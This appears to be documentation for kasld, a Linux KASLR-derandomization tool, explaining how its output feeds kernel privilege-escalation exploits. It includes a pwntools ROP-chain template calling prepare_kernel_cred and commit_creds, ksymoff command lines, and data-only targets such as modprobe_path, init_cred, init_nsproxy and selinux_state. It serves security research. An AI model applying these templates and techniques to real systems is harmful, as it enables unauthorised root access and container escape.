A kernel exploit runs against a randomized kernel. KASLR places the kernel
image — and, on some architectures, the direct map — at a boot-chosen offset, so
every kernel address the exploit needs (a function to call, a global to
overwrite, a ROP gadget) sits at an unknown runtime location. Defeating KASLR
is the step that recovers that offset: it turns an address from an unrandomized
source (System.map, a debug vmlinux, a /proc/kallsyms snapshot) into the
one the running kernel actually uses.
kasld performs that step from an unprivileged local process — the attacker
identity it models. It recovers the kernel image base and KASLR slide, and, where
they are randomized independently, the direct-map base. It is a derandomization
tool, not the exploit itself: it supplies the layout an exploit re-bases against,
not the memory-corruption primitive that does the writing, and not the addresses
of per-task heap objects. This document covers where that step fits in an exploit
and how kasld's output feeds the two dominant strategies — control-flow reuse
and data-only.
- Where it fits in the chain
- The layout
kasldreports - From a base to runtime addresses
- Control-flow reuse
- Data-only
- References
The recovered base makes every image address usable; from there the exploit re-bases the addresses it needs and drives them with its own primitive:
kasld runs on the target host: it derandomizes the running kernel, so the
vmlinux / System.map used to resolve symbols must be for that exact build. The
template below assumes the exploit already has code execution on the target and a
corruption primitive; kasld fills in where the kernel is.
--json (-j) emits the stable machine-readable surface (text and verbose modes
are human-only):
| Field | Type | Meaning |
|---|---|---|
kaslr.virtual.image_base |
hex string | Recovered kernel image base (_text) — the best concrete answer, which may rest on a sub-floor signal |
kaslr.virtual.speculative |
bool, present only when true | The base above is the likely value, not a proven one: the guaranteed window is still a range. Check this before acting on the base |
kaslr.inferred |
object (range_min/range_max/slots/entropy_bits) | The guaranteed window — resolved at the sound floor, and proven to contain the true base |
kaslr.virtual.slide_bytes |
integer | KASLR slide (runtime − default) |
kaslr.memory_kaslr.virt_page_offset_base |
object (min/max/slots/entropy_bits) | Direct-map base (page_offset_base) window — translates physical↔virtual; randomized independently of text on x86_64 / arm64 / riscv64 / s390 |
kaslr.memory_kaslr.virt_vmalloc_base |
object (min/max/slots/entropy_bits) | vmalloc-region base — modules, BPF JIT, kernel stacks |
kaslr.memory_kaslr.virt_vmemmap_base |
object (min/max/slots/entropy_bits) | vmemmap base (struct page array) — maps a physical page to its struct page (page-table attacks) |
kaslr.disabled |
bool | True when KASLR is opted out (nokaslr / CONFIG_RANDOMIZE_BASE=n / hibernation) or unsupported by the arch. Not set if the boot stub attempted KASLR but failed to apply a random offset — the kernel is then relocated to a firmware-determined position (see KASLR runtime states) |
arch |
string | Canonical arch name (x86_64, aarch64, …) |
kasld emits layout — these bases and the slide — not resolved symbol
addresses: it is build-agnostic and never sources a vmlinux / System.map or
trusts a version string. Turning the slide into a specific symbol's runtime
address is ksymoff's job (below), against a caller-supplied symbol source.
The whole kernel image relocates by a single slide, so one leaked kernel pointer
fixes every address in it: add the slide to any symbol from an unrandomized source
to get its runtime address. This holds for functions and global data alike —
.text, .data, and .bss all move together — which is what lets both
strategies below work from the same recovered base. Offsets to useful symbols can
be pre-computed on another machine running the same kernel build (trivial for
public distro kernels).
pwntools applies the slide with ELF.address = image_base (see the
control-flow template). Without pwntools, the bundled
extra/ksymoff resolves symbols against a System.map, a
/proc/kallsyms snapshot, or a debug vmlinux (symbols via nm / readelf; a
stripped distro vmlinux has no symbol table). The default base is taken from
_text in the symbol source. It has three modes:
Given a runtime text base (from a KASLD run) and a symbol source, print runtime addresses for one or more symbols, or for every symbol in the source when no symbols are listed.
# Explicit base + System.map
./extra/ksymoff -b 0xffffffff82200000 -s System.map commit_creds
ffffffff82276cb0 T commit_creds
# Multiple symbols at once
./extra/ksymoff -b 0xffffffff82200000 -s vmlinux \
commit_creds prepare_kernel_cred init_cred
# Pipe directly from KASLD --oneline (reads the `text=` field).
# --oneline carries no speculative marker, so read `entropy=` alongside it:
# entropy=0bits means one surviving candidate, i.e. the base is proven.
./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map commit_creds
# Dump every symbol with the slide applied
./extra/ksymoff -b 0xffffffff82200000 -s System.map | headGiven any one known runtime symbol address (e.g. via a UAF read,
infoleak, or side channel that returned a recognizable pointer),
derive the runtime text base. Useful when the leak points at a
specific symbol rather than at _text itself.
# Derive the runtime text base from a single known address
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map
0xffffffff82200000
# Combine with positional symbols: one leak yields many
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s vmlinux \
prepare_kernel_cred init_cred modprobe_pathPrint the signed slide instead of resolved addresses. Combines with either mode.
./extra/ksymoff -b 0xffffffff82200000 -s System.map --slide
+0x1200000
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map --slide
+0x1200000Run ./extra/ksymoff --help for the full reference. Beyond symbols, ksymoff
also translates physical↔virtual through the direct map (--phys2virt /
--virt2phys / --phys2page), which data-only pivots use.
FG-KASLR (function-granular KASLR) reorders functions independently and breaks the single-slide assumption — see docs/kaslr.md §FG-KASLR.
With runtime addresses in hand, an exploit uses them one of two ways.
The classic chain hijacks control flow to call kernel functions — e.g.
prepare_kernel_cred(0) then commit_creds() to give the current task full
privileges — with a ROP/JOP payload driven by a corruption primitive (a stack
overflow, a corrupted function pointer, …):
#!/usr/bin/env python3
import json, subprocess, sys
from pwn import *
# Leak kernel base with KASLD
result = subprocess.run(
[
"./build/x86_64-linux-gnu/kasld",
"--json",
"--fast",
"--quiet"
],
capture_output=True,
text=True
)
data = json.loads(result.stdout)
context.arch = {"x86_64": "amd64"}.get(data["arch"], data["arch"])
kaslr = data["kaslr"].get("virtual")
if not kaslr:
log.failure("kasld did not find the kernel text base")
sys.exit(1)
image_base = int(kaslr["image_base"], 16)
slide = int(kaslr["slide_bytes"])
# The headline base is the best concrete answer, which may rest on a sub-floor
# signal. kasld says which: "speculative" is set whenever the *guaranteed*
# window is still a range, and kaslr.inferred carries that sound window. Warn
# rather than abort -- against a known target a deterministic likely result is
# in practice certain -- but a wrong base is a ring-0 jump, so say so.
if kaslr.get("speculative"):
proven = data["kaslr"].get("inferred", {})
log.warning(
"base is SPECULATIVE (guaranteed window %s-%s, %s bits, %s slots); "
"a wrong base panics the target"
% (proven.get("range_min"), proven.get("range_max"),
proven.get("entropy_bits"), proven.get("slots")))
else:
log.success("base is proven (guaranteed window pinned)")
log.success(f"kernel text base: {hex(image_base)} (slide +{hex(slide)})")
# Resolve runtime addresses via vmlinux symbol table
vmlinux = ELF("vmlinux", checksec=False)
vmlinux.address = image_base
commit_creds = vmlinux.symbols["commit_creds"]
prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"]
log.info(f"commit_creds: {hex(commit_creds)}")
log.info(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")
# Build ROP chain
rop = ROP(vmlinux)
rop.call(prepare_kernel_cred, [0])
# move rax -> rdi here with a target-specific gadget
# rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
rop.call(commit_creds)
payload = flat(rop.chain())This needs the text base to locate functions and gadgets. The chain is built
from kernel gadgets rather than a jump to attacker-mapped code because SMEP —
PTE_PXN on arm64 — faults when the kernel executes a userspace page, which is
what makes the recovered base necessary in the first place. On kernels hardened
with forward-edge Control-Flow Integrity (kCFI, or
FineIBT on x86) and shadow stacks (arm64 Shadow Call Stack, x86
CET), a corrupted return address or indirect-call target is validated and
rejected, so ROP/JOP is often infeasible — which is why data-only attacks have
become the common path.
Data-only attacks corrupt kernel data without diverting control flow, so CFI and shadow stacks do not apply — the reason they have become the common path (the foundational result is that non-control-data attacks are Turing-complete, Data-Oriented Programming). What they need from KASLR-defeat splits by which part of the layout carries the target.
Global targets — kasld resolves them directly. Writable kernel globals live
in the image, so they re-base by the slide exactly like a function, and one
kasld run plus ksymoff yields their runtime address:
-
Usermode-helper strings —
modprobe_path,core_pattern,poweroff_cmd. Overwrite the string to point at an attacker-controlled script and trigger the helper (formodprobe_path, execute a file with unknown magic); it runs as root:./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map modprobe_path
All three go through
call_usermodehelper_setup(), so one build option neutralises the whole bullet: underCONFIG_STATIC_USERMODEHELPERthe kernel substitutes a compile-time path and ignores the caller's, and with that path set empty every helper becomes a successful no-op. It is uncommon — no mainline, Alpine, Debian or Ubuntu config in this project's corpus enables it — but it is cheap to rule out before spending a write on a dead target. -
init_cred— astruct credwith full capabilities. Pointing a task'scred/real_credat it is instant root with no cred crafting, andkasldgives its runtime address from the slide like any symbol. -
init_nsproxy,init_user_ns,init_fs— the container-escape equivalents ofinit_cred, and the same one-pointer write: aiming a task'snsproxyatinit_nsproxyputs it back in the initial namespace set. Each is an image global, so the recovered base resolves it. -
Policy globals — LSM enforcement flags,
sysctltables, and similar switches.selinux_stateis the usual one: clearing itsenforcingfield drops SELinux to permissive. That field is only consulted underCONFIG_SECURITY_SELINUX_DEVELOP— without itenforcing_enabled()is a constanttrueand the write is inert — but that option is set on nearly every SELinux kernel in this project's corpus.
These are all data symbols, which matters when picking a symbol source:
System.map and a debug vmlinux always carry them, but /proc/kallsyms lists
data symbols only under CONFIG_KALLSYMS_ALL (otherwise it holds functions
alone), and that option is set on rather more than half the kernels here. A
kallsyms snapshot is therefore not interchangeable with the other two for these
particular targets.
Heap and physical targets — kasld's non-text bases are the enabler. These
sit in the heap or in physical memory, not the image, so the slide does not locate
them; the direct-map and vmemmap bases kasld also recovers are what make a leaked
pointer usable:
-
Credential overwrite — zero the
uid/gid/capsof the current task'sstruct cred. Needs the heap address ofcurrent->cred(from a leak); the direct-map base turns a leaked physical or direct-map pointer into a writable virtual address. -
Object swap — DirtyCred reclaims a freed low-privileged
cred/fileas a privileged one, sidestepping the field overwrite entirely. -
Page-table corruption — cross-cache / SLUBStick and Dirty Pagetable overwrite PTEs for arbitrary physical read/write. They translate physical↔virtual through the direct-map base and locate
struct pagethrough the vmemmap base — bothkasldoutputs (and on decoupled arches the direct map is randomized independently of text, sokasldresolves it separately).ksymoffperforms those translations directly:kasld -1 2>/dev/null | ./extra/ksymoff --phys2virt 0x34600000 # phys -> direct-map virt ./extra/ksymoff --vmemmap <base> --phys2page 0x34600000 # phys -> struct page
See also Side-channels (SLUBStick, cross-cache) and Exploit primitives.
kasld supplies layout: the slid image (any global symbol) plus the direct-map
and vmemmap bases (physical↔virtual, struct page). It does not locate a
specific per-task heap object such as a cred or task_struct — that still needs
a leak, which the recovered bases then make usable.
| Topic | Reference |
|---|---|
| Non-control-data attacks (foundation) | Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks (Hu, Shinde, Adrian, Chua, Saxena & Liang, IEEE S&P 2016) |
Usermode-helper globals (modprobe_path, core_pattern) |
Like techniques: modprobe_path (sam4k) |
Credential object swap (cred / file) |
DirtyCred: Escalating Privilege in Linux Kernel (Lin, Wu & Xing, ACM CCS 2022) — PoC |
| Page-table corruption → arbitrary physical R/W | Dirty Pagetable (Nicolas Wu, 2023) |
| Forward-edge CFI (x86 hardware) | FineIBT: Fine-grain Control-flow Enforcement with Indirect Branch Tracking (Gaidis, Moreira & Kemerlis, RAID 2023) |
| Kernel control-flow integrity (kCFI) | Control Flow Integrity in the Linux kernel (Kees Cook, 2020) |